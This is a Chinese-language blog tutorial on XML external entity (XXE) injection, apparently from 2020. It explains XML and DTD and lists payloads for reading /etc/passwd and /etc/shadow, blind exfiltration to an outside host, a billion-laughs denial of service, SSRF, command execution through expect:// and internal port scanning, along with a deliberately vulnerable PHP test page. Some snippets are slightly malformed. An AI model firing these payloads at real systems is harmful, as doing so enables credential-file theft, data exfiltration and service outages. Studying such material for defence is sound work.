xxe

什么是xml

xml是一种具有结构性的标记语言,用来标记数据,定义数据类型,允许用户自己定义的源语言。在解析外部实体的过程中,XML解析器可以根据URL中指定的方案(协议)来查询各种网络协议和服务(DNS,FTP,HTTP,SMB等)。 外部实体对于在文档中创建动态引用非常有用,这样对引用资源所做的任何更改都会在文档中自动更新。 但是,在处理外部实体时,可以针对应用程序启动许多攻击。 这些攻击包括泄露本地系统文件,这些文件可能包含密码和私人用户数据等敏感数据,或利用各种方案的网络访问功能来操纵内部应用程序。 通过将这些攻击与其他实现缺陷相结合,这些攻击的范围可以扩展到客户端内存损坏,任意代码执行,甚至服务中断,具体取决于这些攻击的上下文

什么是DTD

一种文档类型定义 xml中标签本身是可以随便定义的二,DTD相当于给xml标签做个了类型限制约束

    例如:

    xxe.xml文件

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE 班级 SYSTEM "xxe.dtd">
    <!--引入dtd文件,约束xml-->>
    <班级>
        <学生>
           <名字>xss</名字>
           <年龄>2</年龄>
           <介绍>1</介绍>    
        </学生>
    </班级>


     xxe.dtd文件

    <!ELEMENT 班级 (学生+)>
    <!ELEMENT 学生 (名字,年龄,介绍)>
    <!ELEMENT 名字(#PEDATA)>
    <!ELEMENT 年龄(#PEDATA)>
    <!ELEMENT 介绍(#PEDATA)>

参考大佬博客(https://www.cnblogs.com/zhaijiahui/p/9147595.html#autoid-2-4-0)

xxe漏洞

又称为xml外部实体注入漏洞,发生在应用程序解析xml输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取,命令执行,内网端口扫描,攻击内网网站,dos攻击等

例如:

有了xml实体,ststem会令xml解析器从url中读取内容,并允许它在xml文档中被替换。因此攻击者可以通过实体将他定义的值发送给应用程序然后实现。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [<!ENTITY passwd SYSTEM "file:///etc/passwd">]>
<foo>
        <value>&passwd;</value>
</foo>

xml外部实体passwd被赋值成了file:///etc/passwd  因此运行解析时passwd就变成了file:///ect/passwd的内容

按输出信息不同可以分成

  1. 正常回显xxe
  • 直接利用服务器回显信息进行xxe攻击
  1. 报错xxe
  • 正常回显时会报错,通过报错信息判断是否注入成功
  1. 盲注xxe(blind)最常见
  • 可以用file协议http协议ftp协议等伪协议配合使用

payload

基本的xml注入

<?xml version = "1.0"?>

<!DOCTYPE note [

    <!ENTITY hack "zjhzjhhh">

]>

<name>&hack;</name>

实体实例

<?xml version="1.0"  encoding="UTF-8"?>
<!DOCTYPE foo [           //定义了foo的根元素
<!ELEMENT foo ANY>        //foo是接受任何参数的
<!ENTITY xxe "test">]>    //定义了一个实体 xxe 
<creds>
    <name>&xxe;</name>    //&xxe进行引用 本地引用
    <pass>pass</pass>
</creds>

外部实例

  1. 在本地创建shell.php文件
    <?php
    $body = file_get_contents("php://input");   //php://input是伪协议类型的一种
    $xml = simplexml_load_string($body);
    print_r($xml);//有回显,无回显
    ?>
    

  1. 创建一个test.dtd文件
    <!ENTITY xxe "xxe!">

  1. 定义一个test.xml文件
    <?xml version="1.0"  encoding="UTF-8"?>
    <!DOCTYPE foo [
    <!ENTITY % test SYSTEM "D:/Phpstudy/PHPTutorial/WWW/test.dtd">
    %test;
    ]>
    <creds>
    	<user>&xxe;</user>
    	<mypass>mypass</mypass>
    </creds>

数据访问过程:
先访问test.dtd里面的内容,把里面声明的xxe实体拿出来,在页面上调用

shell.php模拟一个存在xxe的页面环境 test.dtd作用是调用时页面的回显 test.xml的内容就是payload

文件泄露

<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/shadow"> ]>
<userInfo>
 <firstName>John</firstName>
 <lastName>&ent;</lastName>
</userInfo>

拒绝服务

<!--?xml version="1.0" ?-->
<!DOCTYPE lolz [<!ENTITY lol "lol"><!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
<tag>&lol9;</tag>

本地文件包含

<?xml version="1.0"?>
<!DOCTYPE foo [  
<!ELEMENT foo (#ANY)>
<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<foo>&xxe;</foo>

本地文件包含blind

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo (#ANY)>
<!ENTITY % xxe SYSTEM "file:///etc/passwd">
<!ENTITY blind SYSTEM "https://www.example.com/?%xxe;">]>
<foo>&blind;</foo>

ssrf

<?xml version="1.0"?>
<!DOCTYPE foo [  
<!ELEMENT foo (#ANY)>
<!ENTITY xxe SYSTEM "https://www.example.com/text.txt">]><foo>&xxe;</foo>

任意文件读取

<?xml version="1.0"?>
    <!DOCTYPE Quan[
    <!ENTITY f SYSTEM "file:///etc/passwd">
]>

<hhh>&f;<hhh>

执行系统命令

<?xml version="1.0"?>
    <!DOCTYPE Quan[
    <!ENTITY f SYSTEM "expect://id">
]>

<hhh>&f;<hhh>

内网探测端口

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note[
  <!ENTITY Quan SYSTEM "http://192.168.246.136:80">
]>

<reset><login>&Quan;</login><secret>Any bugs?</secret></reset>
posted @ 2020-12-21 22:07  A2rcher_zjh  阅读(275)  评论(0编辑  收藏  举报